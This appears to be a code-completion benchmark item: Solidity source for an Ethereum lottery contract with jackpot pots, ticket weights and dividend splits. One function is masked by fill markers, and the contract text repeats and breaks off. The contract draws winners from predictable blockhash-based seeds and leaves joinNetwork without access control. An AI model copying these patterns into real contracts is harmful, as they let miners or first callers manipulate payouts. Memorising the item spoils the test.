NEWROUND_WAIT_DURATION = ONE_DAY; // 24 Hours // 15 seconds on Ethereum, 12 seconds used instead to make sure blockHash unavaiable // when slideEndTime reached // keyBlockNumber will be estimated again after every slot buy uint256 constant public BLOCK_TIME = 12; uint256 constant public MAX_BLOCK_DISTANCE = 254; uint256 constant public MAJOR_RATE = 1000; uint256 constant public MINOR_RATE = 1000; uint256 constant public MAJOR_MIN = 0.1 ether ; uint256 constant public MINOR_MIN = 0.1 ether ; //uint256 public toNextPotPercent = 27; uint256 public grandRewardPercent = 20; uint256 public jRewardPercent = 60; uint256 public toTokenPercent = 12; // 10% dividends 2% fund uint256 public toBuyTokenPercent = 1; uint256 public earlyIncomePercent = 22; uint256 public toRefPercent = 15; // sum == 100% = toPotPercent/100 * investedSum // uint256 public grandPercent = 68; uint256 public majorPercent = 24; uint256 public minorPercent = 8; uint256 public grandPot; uint256 public majorPot; uint256 public minorPot; uint256 public curRoundId; uint256 public lastRoundId = 88888888; uint256 constant public startPrice = 0.002 ether; mapping (address => uint256) public rewardBalance; // used to save gas on earlyIncome calculating, curRoundId never included // only earlyIncome from round 1st to curRoundId-1 are fixed mapping (address => uint256) public lastWithdrawnRound; mapping (address => uint256) public earlyIncomeScannedSum; mapping (uint256 => Round) public round; // Current Round // first SlotId in last Block to fire jackpot uint256 public jSlot; // jackpot results of all slots in same block will be drawed at the same time, // by player, who buys the first slot in next block uint256 public lastBlockNr; // used to calculate grandPot results uint256 public curRWeight; // added by slot salt after every slot buy // does not matter with overflow uint256 public curRSalt; // ticket sum of current round uint256 public curRTicketSum; constructor (address _devTeam) public { // register address in network DevTeamInterface(_devTeam).setLotteryAddress(address(this)); devTeam = _devTeam; } // _contract = [f2mAddress, bankAddress, citizenAddress, lotteryAddress, rewardAddress, whitelistAddress]; function joinNetwork(address[6] _contract) public { require(address(citizenContract) == 0x0,"already setup"); f2mContract = F2mInterface(_contract[0]); bankContract = BankInterface(_contract[1]); citizenContract = CitizenInterface(_contract[2]); //lotteryContract = LotteryInterface(lotteryAddress); rewardContract = RewardInterface(_contract[4]); } function activeFirstRound() public onlyDevTeam() { require(curRoundId == 0, "already activated"); initRound(); } // Core Functions function pushToPot() public payable { addPot(msg.value); } function checkpoint() private { // dummy slot between every 2 rounds // dummy slot never win jackpot cause of min 0.1 ETH Slot memory _slot; _slot.tNumberTo = round[curRoundId].ticketSum; slot.push(_slot); Round memory _round; _round.startTime = NEWROUND_WAIT_DURATION.add(block.timestamp); // started with 3 hours timeout _round.slideEndTime = TIMEOUT0 + _round.startTime; _round.fixedEndTime = TIMEOUT2 + _round.startTime; _round.keyBlockNr = genEstKeyBlockNr(_round.slideEndTime); _round.ticketSum = round[curRoundId].ticketSum; _round.investedSum = round[curRoundId].investedSum; _round.slotSum = slot.length; curRoundId = curRoundId + 1; round[curRoundId] = _round; initGrandPot = grandPot; curRWeight = 0; curRTicketSum = 0; } // from round 18+ function function isLastRound() public view returns(bool) { return (curRoundId == lastRoundId); } function goNext() private { uint256 _totalPot = getTotalPot(); grandPot = 0; majorPot = 0; minorPot = 0; f2mContract.pushDividends.value(_totalPot)(); // never start round[curRoundId].startTime = block.timestamp * 10; round[curRoundId].slideEndTime = block.timestamp * 10 + 1; } function initRound() private { // update all Round Log checkpoint(); if (isLastRound()) goNext(); } function finalizeable() public view returns(bool) { uint256 finalizeTime = FINALIZE_WAIT_DURATION.add(round[curRoundId].slideEndTime); if (finalizeTime > block.timestamp) return false; // too soon to finalize if (getEstKeyBlockNr(curRoundId) >= block.number) return false; //block hash not exist return curRoundId > 0; } // bounty function finalize() public { require(finalizeable(), "Not ready to draw results"); // avoid txs blocked => curRTicket ==0 => die require((round[curRoundId].pTicketSum[msg.sender] > 0) || (curRTicketSum == 0), "must buy at least 1 ticket"); endRound(msg.sender); initRound(); } function mintReward( address _lucker, uint256 _slotId, uint256 _value, RewardType _rewardType) private { // add reward balance rewardBalance[_lucker] = rewardBalance[_lucker].add(_value); // reward log rewardContract.mintReward( _lucker, curRoundId, slot[_slotId].tNumberFrom, slot[_slotId].tNumberTo, _value, uint256(_rewardType) ); } function jackpot() private { // get blocknumber to get blockhash uint256 keyBlockNr = getKeyBlockNr(lastBlockNr);//block.number; // salt not effected by jackpot, too risk uint256 seed = getSeed(keyBlockNr); // slot numberic from 1 ... totalSlot(round) // jackpot for all slot in last block, jSlot <= i <= lastSlotId (=slotSum - 1) // _to = first Slot in new block //uint256 _to = round[curRoundId].slotSum; uint256 jReward; uint256 toF2mAmount; address winner; // jackpot check for slots in last block while (jSlot + 1 < round[curRoundId].slotSum) { // majorPot if ((seed % MAJOR_RATE == 6) && (slot[jSlot].ethAmount >= MAJOR_MIN)) { winner = slot[jSlot].buyer; jReward = majorPot / 100 * jRewardPercent; mintReward(winner, jSlot, jReward, RewardType.Major); toF2mAmount = majorPot / 100 * toTokenPercent; f2mContract.pushDividends.value(toF2mAmount)(); majorPot = majorPot - jReward - toF2mAmount; } // minorPot if (((seed + jSlot) % MINOR_RATE == 8) && (slot[jSlot].ethAmount >= MINOR_MIN)) { winner = slot[jSlot].buyer; jReward = minorPot / 100 * jRewardPercent; mintReward(winner, jSlot, jReward, RewardType.Minor); toF2mAmount = minorPot / 100 * toTokenPercent; f2mContract.pushDividends.value(toF2mAmount)(); minorPot = minorPot - jReward - toF2mAmount; } seed = seed + 1; jSlot = jSlot + 1; } } function endRound(address _bountyHunter) private { uint256 _rId = curRoundId; uint256 keyBlockNr = getKeyBlockNr(round[_rId].keyBlockNr); uint256 _seed = getSeed(keyBlockNr) + curRSalt; uint256 onePercent = grandPot / 100; uint256 rGrandReward = onePercent * grandRewardPercent; //PUSH DIVIDENDS uint256 toF2mAmount = onePercent * toTokenPercent; //uint256 _bountyAmount = onePercent * bountyPercent; grandPot = grandPot - toF2mAmount - onePercent; f2mContract.pushDividends.value(toF2mAmount)(); // base on grand-intestedSum current grandPot uint256 weightRange = getWeightRange(); // roll 3 turns for (uint256 i = 0; i < 3; i++){ uint256 winNr = Helper.getRandom(_seed, weightRange); // if winNr > curRoundWeight => no winner this turn // win Slot : fromWeight <= winNr <= toWeight // got winner this rolling turn if (winNr <= curRWeight) { grandPot -= rGrandReward; uint256 _winSlot = getWinSlot(winNr); address _winner = slot[_winSlot].buyer; mintReward(_winner, _winSlot, rGrandReward, RewardType.Grand); _seed = _seed + (_seed / 10); } } mintReward(_bountyHunter, 0, onePercent * 3 / 10, RewardType.Bounty); rewardContract.pushBounty.value(onePercent * 7 / 10)(curRoundId); } function buy(string _sSalt) public payable { buyFor(_sSalt, msg.sender); } function updateInvested(address _buyer, uint256 _ethAmount) private { round[curRoundId].investedSum += _ethAmount; round[curRoundId].pInvestedSum[_buyer] += _ethAmount; pInvestedSum[_buyer] += _ethAmount; } function updateTicketSum(address _buyer, uint256 _tAmount) private {<FILL_FUNCTION_BODY> } function updateEarlyIncome(address _buyer, uint256 _pWeight) private { round[curRoundId].rEarlyIncomeWeight = _pWeight.add(round[curRoundId].rEarlyIncomeWeight); round[curRoundId].pEarlyIncomeWeight[_buyer] = _pWeight.add(round[curRoundId].pEarlyIncomeWeight[_buyer]); round[curRoundId].pEarlyIncomeCredit[_buyer] = round[curRoundId].pEarlyIncomeCredit[_buyer].add(_pWeight.mul(round[curRoundId].ppw)); } function buyFor(string _sSalt, address _sender) public payable buyable() { uint256 _salt = Helper.stringToUint(_sSalt); uint256 _ethAmount = msg.value; uint256 _ticketSum = curRTicketSum; require(_ethAmount >= Helper.getTPrice(_ticketSum), "not enough to buy 1 ticket"); // investedSum logs updateInvested(_sender, _ethAmount); // update salt curRSalt = curRSalt + _salt; // init new Slot, Slot Id = 1..curRSlotSum Slot memory _slot; _slot.rId = curRoundId; _slot.buyer = _sender; _slot.ethAmount = _ethAmount; _slot.salt = _salt; uint256 _tAmount = Helper.getTAmount(_ethAmount, _ticketSum); uint256 _tMul = Helper.getTMul(_ticketSum); uint256 _pMul = Helper.getEarlyIncomeMul(_ticketSum); uint256 _pWeight = _pMul.mul(_tAmount); uint256 _toAddTime = Helper.getAddedTime(_ticketSum, _tAmount); addTime(curRoundId, _toAddTime); // update weight uint256 _slotWeight = (_tAmount).mul(_tMul); curRWeight = curRWeight.add(_slotWeight); _slot.wTo = curRWeight; uint256 lastSlot = slot.length - 1; // update ticket params _slot.tNumberFrom = slot[lastSlot].tNumberTo + 1; _slot.tNumberTo = slot[lastSlot].tNumberTo + _tAmount; updateTicketSum(_sender, _tAmount); // EarlyIncome Weight // ppw and credit zoomed x1000 // earlyIncome mul of each ticket in this slot updateEarlyIncome(_sender, _pWeight); // add Slot and update round data slot.push(_slot); round[curRoundId].slotSum = slot.length; // add slot to player logs pSlot[_sender].push(slot.length - 1); // first slot in this block draw jacpot results for // all slot in last block if (lastBlockNr != block.number) { jackpot(); lastBlockNr = block.number; } distributeSlotBuy(_sender, curRoundId, _ethAmount); round[curRoundId].keyBlockNr = genEstKeyBlockNr(round[curRoundId].slideEndTime); } function distributeSlotBuy(address _sender, uint256 _rId, uint256 _ethAmount) private { uint256 onePercent = _ethAmount / 100; uint256 toF2mAmount = onePercent * toTokenPercent; // 12 uint256 toRefAmount = onePercent * toRefPercent; // 10 uint256 toBuyTokenAmount = onePercent * toBuyTokenPercent; //1 uint256 earlyIncomeAmount = onePercent * earlyIncomePercent; //27 uint256 taxAmount = toF2mAmount + toRefAmount + toBuyTokenAmount + earlyIncomeAmount; // 50 uint256 taxedEthAmount = _ethAmount.sub(taxAmount); // 50 addPot(taxedEthAmount); // 10% Ref citizenContract.pushRefIncome.value(toRefAmount)(_sender); // 2% Fund + 10% Dividends f2mContract.pushDividends.value(toF2mAmount)(); // 1% buy Token f2mContract.buyFor.value(toBuyTokenAmount)(_sender); // 27% Early uint256 deltaPpw = (earlyIncomeAmount * ZOOM).div(round[_rId].rEarlyIncomeWeight); round[_rId].ppw = deltaPpw.add(round[_rId].ppw); } function claimEarlyIncomebyAddress(address _buyer) private { if (curRoundId == 0) return; claimEarlyIncomebyAddressRound(_buyer, curRoundId); uint256 _rId = curRoundId - 1; while ((_rId > lastWithdrawnRound[_buyer]) && (_rId + 20 > curRoundId)) { earlyIncomeScannedSum[_buyer] += claimEarlyIncomebyAddressRound(_buyer, _rId); _rId = _rId - 1; } } function claimEarlyIncomebyAddressRound(address _buyer, uint256 _rId) private returns(uint256) { uint256 _amount = getCurEarlyIncomeByAddressRound(_buyer, _rId); if (_amount == 0) return 0; round[_rId].pEarlyIncomeClaimed[_buyer] = _amount.add(round[_rId].pEarlyIncomeClaimed[_buyer]); rewardBalance[_buyer] = _amount.add(rewardBalance[_buyer]); return _amount; } function withdrawFor(address _sender) public withdrawRight() returns(uint256) { if (curRoundId == 0) return; claimEarlyIncomebyAddress(_sender); lastWithdrawnRound[_sender] = curRoundId - 1; uint256 _amount = rewardBalance[_sender]; rewardBalance[_sender] = 0; bankContract.pushToBank.value(_amount)(_sender); return _amount; } function addTime(uint256 _rId, uint256 _toAddTime) private { round[_rId].slideEndTime = Helper.getNewEndTime(_toAddTime, round[_rId].slideEndTime, round[_rId].fixedEndTime); } // distribute to 3 pots Grand, Majorm Minor function addPot(uint256 _amount) private { uint256 onePercent = _amount / 100; uint256 toMinor = onePercent * minorPercent; uint256 toMajor = onePercent * majorPercent; uint256 toGrand = _amount - toMinor - toMajor; minorPot = minorPot + toMinor; majorPot = majorPot + toMajor; grandPot = grandPot + toGrand; } ////////////////////////////////////////////////////////////////// // READ FUNCTIONS ////////////////////////////////////////////////////////////////// function isWinSlot(uint256 _slotId, uint256 _keyNumber) public view returns(bool) { return (slot[_slotId - 1].wTo < _keyNumber) && (slot[_slotId].wTo >= _keyNumber); } function getWeightRange() public view returns(uint256) { return Helper.getWeightRange(grandPot, initGrandPot, curRWeight); } function getWinSlot(uint256 _keyNumber) public view returns(uint256) { // return 0 if not found uint256 _to = slot.length - 1; uint256 _from = round[curRoundId-1].slotSum + 1; // dummy slot ignore uint256 _pivot; //Slot memory _slot; uint256 _pivotWTo; // Binary search while (_from <= _to) { _pivot = (_from + _to) / 2; //_slot = round[_rId].slot[_pivot]; _pivotWTo = slot[_pivot].wTo; if (isWinSlot(_pivot, _keyNumber)) return _pivot; if (_pivotWTo < _keyNumber) { // in right side _from = _pivot + 1; } else { // in left side _to = _pivot - 1; } } return _pivot; // never happens or smt gone wrong } // Key Block in future function genEstKeyBlockNr(uint256 _endTime) public view returns(uint256) { if (block.timestamp >= _endTime) return block.number + 8; uint256 timeDist = _endTime - block.timestamp; uint256 estBlockDist = timeDist / BLOCK_TIME; return block.number + estBlockDist + 8; } // get block hash of first block with blocktime > _endTime function getSeed(uint256 _keyBlockNr) public view returns (uint256) { // Key Block not mined atm if (block.number <= _keyBlockNr) return block.number; return uint256(blockhash(_keyBlockNr)); } // current reward balance function getRewardBalance(address _buyer) public view returns(uint256) { return rewardBalance[_buyer]; } // GET endTime function getSlideEndTime(uint256 _rId) public view returns(uint256) { return(round[_rId].slideEndTime); } function getFixedEndTime(uint256 _rId) public view returns(uint256) { return(round[_rId].fixedEndTime); } function getTotalPot() public view returns(uint256) { return grandPot + majorPot + minorPot; } // EarlyIncome function getEarlyIncomeByAddress(address _buyer) public view returns(uint256) { uint256 _sum = earlyIncomeScannedSum[_buyer]; uint256 _fromRound = lastWithdrawnRound[_buyer] + 1; // >=1 if (_fromRound + 100 < curRoundId) _fromRound = curRoundId - 100; uint256 _rId = _fromRound; while (_rId <= curRoundId) { _sum = _sum + getEarlyIncomeByAddressRound(_buyer, _rId); _rId++; } return _sum; } // included claimed amount function getEarlyIncomeByAddressRound(address _buyer, uint256 _rId) public view returns(uint256) { uint256 _pWeight = round[_rId].pEarlyIncomeWeight[_buyer]; uint256 _ppw = round[_rId].ppw; uint256 _rCredit = round[_rId].pEarlyIncomeCredit[_buyer]; uint256 _rEarlyIncome = ((_ppw.mul(_pWeight)).sub(_rCredit)).div(ZOOM); return _rEarlyIncome; } function getCurEarlyIncomeByAddress(address _buyer) public view returns(uint256) { uint256 _sum = 0; uint256 _fromRound = lastWithdrawnRound[_buyer] + 1; // >=1 if (_fromRound + 100 < curRoundId) _fromRound = curRoundId - 100; uint256 _rId = _fromRound; while (_rId <= curRoundId) { _sum = _sum.add(getCurEarlyIncomeByAddressRound(_buyer, _rId)); _rId++; } return _sum; } function getCurEarlyIncomeByAddressRound(address _buyer, uint256 _rId) public view returns(uint256) { uint256 _rEarlyIncome = getEarlyIncomeByAddressRound(_buyer, _rId); return _rEarlyIncome.sub(round[_rId].pEarlyIncomeClaimed[_buyer]); } //////////////////////////////////////////////////////////////////// function getEstKeyBlockNr(uint256 _rId) public view returns(uint256) { return round[_rId].keyBlockNr; } function getKeyBlockNr(uint256 _estKeyBlockNr) public view returns(uint256) { require(block.number > _estKeyBlockNr, "blockHash not avaiable"); uint256 jump = (block.number - _estKeyBlockNr) / MAX_BLOCK_DISTANCE * MAX_BLOCK_DISTANCE; return _estKeyBlockNr + jump; } // Logs function getCurRoundId() public view returns(uint256) { return curRoundId; } function getTPrice() public view returns(uint256) { return Helper.getTPrice(curRTicketSum); } function getTMul() public view returns(uint256) { return Helper.getTMul(curRTicketSum); } function getPMul() public view returns(uint256) { return Helper.getEarlyIncomeMul(curRTicketSum); } function getPTicketSumByRound(uint256 _rId, address _buyer) public view returns(uint256) { return round[_rId].pTicketSum[_buyer]; } function getTicketSumToRound(uint256 _rId) public view returns(uint256) { return round[_rId].ticketSum; } function getPInvestedSumByRound(uint256 _rId, address _buyer) public view returns(uint256) { return round[_rId].pInvestedSum[_buyer]; } function getInvestedSumToRound(uint256 _rId) public view returns(uint256) { return round[_rId].investedSum; } function getPSlotLength(address _sender) public view returns(uint256) { return pSlot[_sender].length; } function getSlotLength() public view returns(uint256) { return slot.length; } function getSlotId(address _sender, uint256 i) public view returns(uint256) { return pSlot[_sender][i]; } function getSlotInfo(uint256 _slotId) public view returns(address, uint256[4], string) { Slot memory _slot = slot[_slotId]; return (_slot.buyer,[_slot.rId, _slot.tNumberFrom, _slot.tNumberTo, _slot.ethAmount], Helper.uintToString(_slot.salt)); } function cashoutable(address _address) public view returns(bool) { // need 1 ticket or in waiting time to start new round return (round[curRoundId].pTicketSum[_address] > 0) || (round[curRoundId].startTime > block.timestamp); } // set endRound, prepare to upgrade new version function setLastRound(uint256 _lastRoundId) public onlyDevTeam() { require(_lastRoundId >= 18 && _lastRoundId > curRoundId, "too early to end"); require(lastRoundId == 88888888, "already set"); lastRoundId = _lastRoundId; } }
contract Lottery { using SafeMath for uint256; modifier withdrawRight(){ require(msg.sender == address(bankContract), "Bank only"); _; } modifier onlyDevTeam() { require(msg.sender == devTeam, "only for development team"); _; } modifier buyable() { require(block.timestamp > round[curRoundId].startTime, "not ready to sell Ticket"); require(block.timestamp < round[curRoundId].slideEndTime, "round over"); _; } enum RewardType { Minor, Major, Grand, Bounty } // 1 buy = 1 slot = _ethAmount => (tAmount, tMul) struct Slot { address buyer; uint256 rId; // ticket numbers in range and unique in all rounds uint256 tNumberFrom; uint256 tNumberTo; // weight to, used for grandPot finalize uint256 wTo; uint256 ethAmount; uint256 salt; } struct Round { // earlyIncome weight sum uint256 rEarlyIncomeWeight; // blockNumber to get hash as random seed uint256 keyBlockNr; mapping(address => uint256) pTicketSum; mapping(address => uint256) pInvestedSum; // early income weight by address mapping(address => uint256) pEarlyIncomeWeight; mapping(address => uint256) pEarlyIncomeCredit; mapping(address => uint256) pEarlyIncomeClaimed; // early income per weight uint256 ppw; // endTime increased every slot sold // endTime limited by fixedEndTime uint256 startTime; uint256 slideEndTime; uint256 fixedEndTime; // ticketSum from round 1 to this round uint256 ticketSum; // investedSum from round 1 to this round uint256 investedSum; // number of slots from round 1 to this round uint256 slotSum; } // round started with this grandPot amount, // used to calculate the rate for grandPot results // init in roundInit function uint256 initGrandPot; Slot[] slot; // slotId logs by address mapping( address => uint256[]) pSlot; mapping( address => uint256) public pSlotSum; // logs by address mapping( address => uint256) public pTicketSum; mapping( address => uint256) public pInvestedSum; CitizenInterface public citizenContract; F2mInterface public f2mContract; BankInterface public bankContract; RewardInterface public rewardContract; address public devTeam; uint256 constant public ZOOM = 1000; uint256 constant public ONE_HOUR = 60 * 60; uint256 constant public ONE_DAY = 24 * ONE_HOUR; uint256 constant public TIMEOUT0 = 3 * ONE_HOUR; uint256 constant public TIMEOUT1 = 12 * ONE_HOUR; uint256 constant public TIMEOUT2 = 7 * ONE_DAY; uint256 constant public FINALIZE_WAIT_DURATION = 60; // 60 Seconds uint256 constant public NEWROUND_WAIT_DURATION = ONE_DAY; // 24 Hours // 15 seconds on Ethereum, 12 seconds used instead to make sure blockHash unavaiable // when slideEndTime reached // keyBlockNumber will be estimated again after every slot buy uint256 constant public BLOCK_TIME = 12; uint256 constant public MAX_BLOCK_DISTANCE = 254; uint256 constant public MAJOR_RATE = 1000; uint256 constant public MINOR_RATE = 1000; uint256 constant public MAJOR_MIN = 0.1 ether ; uint256 constant public MINOR_MIN = 0.1 ether ; //uint256 public toNextPotPercent = 27; uint256 public grandRewardPercent = 20; uint256 public jRewardPercent = 60; uint256 public toTokenPercent = 12; // 10% dividends 2% fund uint256 public toBuyTokenPercent = 1; uint256 public earlyIncomePercent = 22; uint256 public toRefPercent = 15; // sum == 100% = toPotPercent/100 * investedSum // uint256 public grandPercent = 68; uint256 public majorPercent = 24; uint256 public minorPercent = 8; uint256 public grandPot; uint256 public majorPot; uint256 public minorPot; uint256 public curRoundId; uint256 public lastRoundId = 88888888; uint256 constant public startPrice = 0.002 ether; mapping (address => uint256) public rewardBalance; // used to save gas on earlyIncome calculating, curRoundId never included // only earlyIncome from round 1st to curRoundId-1 are fixed mapping (address => uint256) public lastWithdrawnRound; mapping (address => uint256) public earlyIncomeScannedSum; mapping (uint256 => Round) public round; // Current Round // first SlotId in last Block to fire jackpot uint256 public jSlot; // jackpot results of all slots in same block will be drawed at the same time, // by player, who buys the first slot in next block uint256 public lastBlockNr; // used to calculate grandPot results uint256 public curRWeight; // added by slot salt after every slot buy // does not matter with overflow uint256 public curRSalt; // ticket sum of current round uint256 public curRTicketSum; constructor (address _devTeam) public { // register address in network DevTeamInterface(_devTeam).setLotteryAddress(address(this)); devTeam = _devTeam; } // _contract = [f2mAddress, bankAddress, citizenAddress, lotteryAddress, rewardAddress, whitelistAddress]; function joinNetwork(address[6] _contract) public { require(address(citizenContract) == 0x0,"already setup"); f2mContract = F2mInterface(_contract[0]); bankContract = BankInterface(_contract[1]); citizenContract = CitizenInterface(_contract[2]); //lotteryContract = LotteryInterface(lotteryAddress); rewardContract = RewardInterface(_contract[4]); } function activeFirstRound() public onlyDevTeam() { require(curRoundId == 0, "already activated"); initRound(); } // Core Functions function pushToPot() public payable { addPot(msg.value); } function checkpoint() private { // dummy slot between every 2 rounds // dummy slot never win jackpot cause of min 0.1 ETH Slot memory _slot; _slot.tNumberTo = round[curRoundId].ticketSum; slot.push(_slot); Round memory _round; _round.startTime = NEWROUND_WAIT_DURATION.add(block.timestamp); // started with 3 hours timeout _round.slideEndTime = TIMEOUT0 + _round.startTime; _round.fixedEndTime = TIMEOUT2 + _round.startTime; _round.keyBlockNr = genEstKeyBlockNr(_round.slideEndTime); _round.ticketSum = round[curRoundId].ticketSum; _round.investedSum = round[curRoundId].investedSum; _round.slotSum = slot.length; curRoundId = curRoundId + 1; round[curRoundId] = _round; initGrandPot = grandPot; curRWeight = 0; curRTicketSum = 0; } // from round 18+ function function isLastRound() public view returns(bool) { return (curRoundId == lastRoundId); } function goNext() private { uint256 _totalPot = getTotalPot(); grandPot = 0; majorPot = 0; minorPot = 0; f2mContract.pushDividends.value(_totalPot)(); // never start round[curRoundId].startTime = block.timestamp * 10; round[curRoundId].slideEndTime = block.timestamp * 10 + 1; } function initRound() private { // update all Round Log checkpoint(); if (isLastRound()) goNext(); } function finalizeable() public view returns(bool) { uint256 finalizeTime = FINALIZE_WAIT_DURATION.add(round[curRoundId].slideEndTime); if (finalizeTime > block.timestamp) return false; // too soon to finalize if (getEstKeyBlockNr(curRoundId) >= block.number) return false; //block hash not exist return curRoundId > 0; } // bounty function finalize() public { require(finalizeable(), "Not ready to draw results"); // avoid txs blocked => curRTicket ==0 => die require((round[curRoundId].pTicketSum[msg.sender] > 0) || (curRTicketSum == 0), "must buy at least 1 ticket"); endRound(msg.sender); initRound(); } function mintReward( address _lucker, uint256 _slotId, uint256 _value, RewardType _rewardType) private { // add reward balance rewardBalance[_lucker] = rewardBalance[_lucker].add(_value); // reward log rewardContract.mintReward( _lucker, curRoundId, slot[_slotId].tNumberFrom, slot[_slotId].tNumberTo, _value, uint256(_rewardType) ); } function jackpot() private { // get blocknumber to get blockhash uint256 keyBlockNr = getKeyBlockNr(lastBlockNr);//block.number; // salt not effected by jackpot, too risk uint256 seed = getSeed(keyBlockNr); // slot numberic from 1 ... totalSlot(round) // jackpot for all slot in last block, jSlot <= i <= lastSlotId (=slotSum - 1) // _to = first Slot in new block //uint256 _to = round[curRoundId].slotSum; uint256 jReward; uint256 toF2mAmount; address winner; // jackpot check for slots in last block while (jSlot + 1 < round[curRoundId].slotSum) { // majorPot if ((seed % MAJOR_RATE == 6) && (slot[jSlot].ethAmount >= MAJOR_MIN)) { winner = slot[jSlot].buyer; jReward = majorPot / 100 * jRewardPercent; mintReward(winner, jSlot, jReward, RewardType.Major); toF2mAmount = majorPot / 100 * toTokenPercent; f2mContract.pushDividends.value(toF2mAmount)(); majorPot = majorPot - jReward - toF2mAmount; } // minorPot if (((seed + jSlot) % MINOR_RATE == 8) && (slot[jSlot].ethAmount >= MINOR_MIN)) { winner = slot[jSlot].buyer; jReward = minorPot / 100 * jRewardPercent; mintReward(winner, jSlot, jReward, RewardType.Minor); toF2mAmount = minorPot / 100 * toTokenPercent; f2mContract.pushDividends.value(toF2mAmount)(); minorPot = minorPot - jReward - toF2mAmount; } seed = seed + 1; jSlot = jSlot + 1; } } function endRound(address _bountyHunter) private { uint256 _rId = curRoundId; uint256 keyBlockNr = getKeyBlockNr(round[_rId].keyBlockNr); uint256 _seed = getSeed(keyBlockNr) + curRSalt; uint256 onePercent = grandPot / 100; uint256 rGrandReward = onePercent * grandRewardPercent; //PUSH DIVIDENDS uint256 toF2mAmount = onePercent * toTokenPercent; //uint256 _bountyAmount = onePercent * bountyPercent; grandPot = grandPot - toF2mAmount - onePercent; f2mContract.pushDividends.value(toF2mAmount)(); // base on grand-intestedSum current grandPot uint256 weightRange = getWeightRange(); // roll 3 turns for (uint256 i = 0; i < 3; i++){ uint256 winNr = Helper.getRandom(_seed, weightRange); // if winNr > curRoundWeight => no winner this turn // win Slot : fromWeight <= winNr <= toWeight // got winner this rolling turn if (winNr <= curRWeight) { grandPot -= rGrandReward; uint256 _winSlot = getWinSlot(winNr); address _winner = slot[_winSlot].buyer; mintReward(_winner, _winSlot, rGrandReward, RewardType.Grand); _seed = _seed + (_seed / 10); } } mintReward(_bountyHunter, 0, onePercent * 3 / 10, RewardType.Bounty); rewardContract.pushBounty.value(onePercent * 7 / 10)(curRoundId); } function buy(string _sSalt) public payable { buyFor(_sSalt, msg.sender); } function updateInvested(address _buyer, uint256 _ethAmount) private { round[curRoundId].investedSum += _ethAmount; round[curRoundId].pInvestedSum[_buyer] += _ethAmount; pInvestedSum[_buyer] += _ethAmount; } <FILL_FUNCTION> function updateEarlyIncome(address _buyer, uint256 _pWeight) private { round[curRoundId].rEarlyIncomeWeight = _pWeight.add(round[curRoundId].rEarlyIncomeWeight); round[curRoundId].pEarlyIncomeWeight[_buyer] = _pWeight.add(round[curRoundId].pEarlyIncomeWeight[_buyer]); round[curRoundId].pEarlyIncomeCredit[_buyer] = round[curRoundId].pEarlyIncomeCredit[_buyer].add(_pWeight.mul(round[curRoundId].ppw)); } function buyFor(string _sSalt, address _sender) public payable buyable() { uint256 _salt = Helper.stringToUint(_sSalt); uint256 _ethAmount = msg.value; uint256 _ticketSum = curRTicketSum; require(_ethAmount >= Helper.getTPrice(_ticketSum), "not enough to buy 1 ticket"); // investedSum logs updateInvested(_sender, _ethAmount); // update salt curRSalt = curRSalt + _salt; // init new Slot, Slot Id = 1..curRSlotSum Slot memory _slot; _slot.rId = curRoundId; _slot.buyer = _sender; _slot.ethAmount = _ethAmount; _slot.salt = _salt; uint256 _tAmount = Helper.getTAmount(_ethAmount, _ticketSum); uint256 _tMul = Helper.getTMul(_ticketSum); uint256 _pMul = Helper.getEarlyIncomeMul(_ticketSum); uint256 _pWeight = _pMul.mul(_tAmount); uint256 _toAddTime = Helper.getAddedTime(_ticketSum, _tAmount); addTime(curRoundId, _toAddTime); // update weight uint256 _slotWeight = (_tAmount).mul(_tMul); curRWeight = curRWeight.add(_slotWeight); _slot.wTo = curRWeight; uint256 lastSlot = slot.length - 1; // update ticket params _slot.tNumberFrom = slot[lastSlot].tNumberTo + 1; _slot.tNumberTo = slot[lastSlot].tNumberTo + _tAmount; updateTicketSum(_sender, _tAmount); // EarlyIncome Weight // ppw and credit zoomed x1000 // earlyIncome mul of each ticket in this slot updateEarlyIncome(_sender, _pWeight); // add Slot and update round data slot.push(_slot); round[curRoundId].slotSum = slot.length; // add slot to player logs pSlot[_sender].push(slot.length - 1); // first slot in this block draw jacpot results for // all slot in last block if (lastBlockNr != block.number) { jackpot(); lastBlockNr = block.number; } distributeSlotBuy(_sender, curRoundId, _ethAmount); round[curRoundId].keyBlockNr = genEstKeyBlockNr(round[curRoundId].slideEndTime); } function distributeSlotBuy(address _sender, uint256 _rId, uint256 _ethAmount) private { uint256 onePercent = _ethAmount / 100; uint256 toF2mAmount = onePercent * toTokenPercent; // 12 uint256 toRefAmount = onePercent * toRefPercent; // 10 uint256 toBuyTokenAmount = onePercent * toBuyTokenPercent; //1 uint256 earlyIncomeAmount = onePercent * earlyIncomePercent; //27 uint256 taxAmount = toF2mAmount + toRefAmount + toBuyTokenAmount + earlyIncomeAmount; // 50 uint256 taxedEthAmount = _ethAmount.sub(taxAmount); // 50 addPot(taxedEthAmount); // 10% Ref citizenContract.pushRefIncome.value(toRefAmount)(_sender); // 2% Fund + 10% Dividends f2mContract.pushDividends.value(toF2mAmount)(); // 1% buy Token f2mContract.buyFor.value(toBuyTokenAmount)(_sender); // 27% Early uint256 deltaPpw = (earlyIncomeAmount * ZOOM).div(round[_rId].rEarlyIncomeWeight); round[_rId].ppw = deltaPpw.add(round[_rId].ppw); } function claimEarlyIncomebyAddress(address _buyer) private { if (curRoundId == 0) return; claimEarlyIncomebyAddressRound(_buyer, curRoundId); uint256 _rId = curRoundId - 1; while ((_rId > lastWithdrawnRound[_buyer]) && (_rId + 20 > curRoundId)) { earlyIncomeScannedSum[_buyer] += claimEarlyIncomebyAddressRound(_buyer, _rId); _rId = _rId - 1; } } function claimEarlyIncomebyAddressRound(address _buyer, uint256 _rId) private returns(uint256) { uint256 _amount = getCurEarlyIncomeByAddressRound(_buyer, _rId); if (_amount == 0) return 0; round[_rId].pEarlyIncomeClaimed[_buyer] = _amount.add(round[_rId].pEarlyIncomeClaimed[_buyer]); rewardBalance[_buyer] = _amount.add(rewardBalance[_buyer]); return _amount; } function withdrawFor(address _sender) public withdrawRight() returns(uint256) { if (curRoundId == 0) return; claimEarlyIncomebyAddress(_sender); lastWithdrawnRound[_sender] = curRoundId - 1; uint256 _amount = rewardBalance[_sender]; rewardBalance[_sender] = 0; bankContract.pushToBank.value(_amount)(_sender); return _amount; } function addTime(uint256 _rId, uint256 _toAddTime) private { round[_rId].slideEndTime = Helper.getNewEndTime(_toAddTime, round[_rId].slideEndTime, round[_rId].fixedEndTime); } // distribute to 3 pots Grand, Majorm Minor function addPot(uint256 _amount) private { uint256 onePercent = _amount / 100; uint256 toMinor = onePercent * 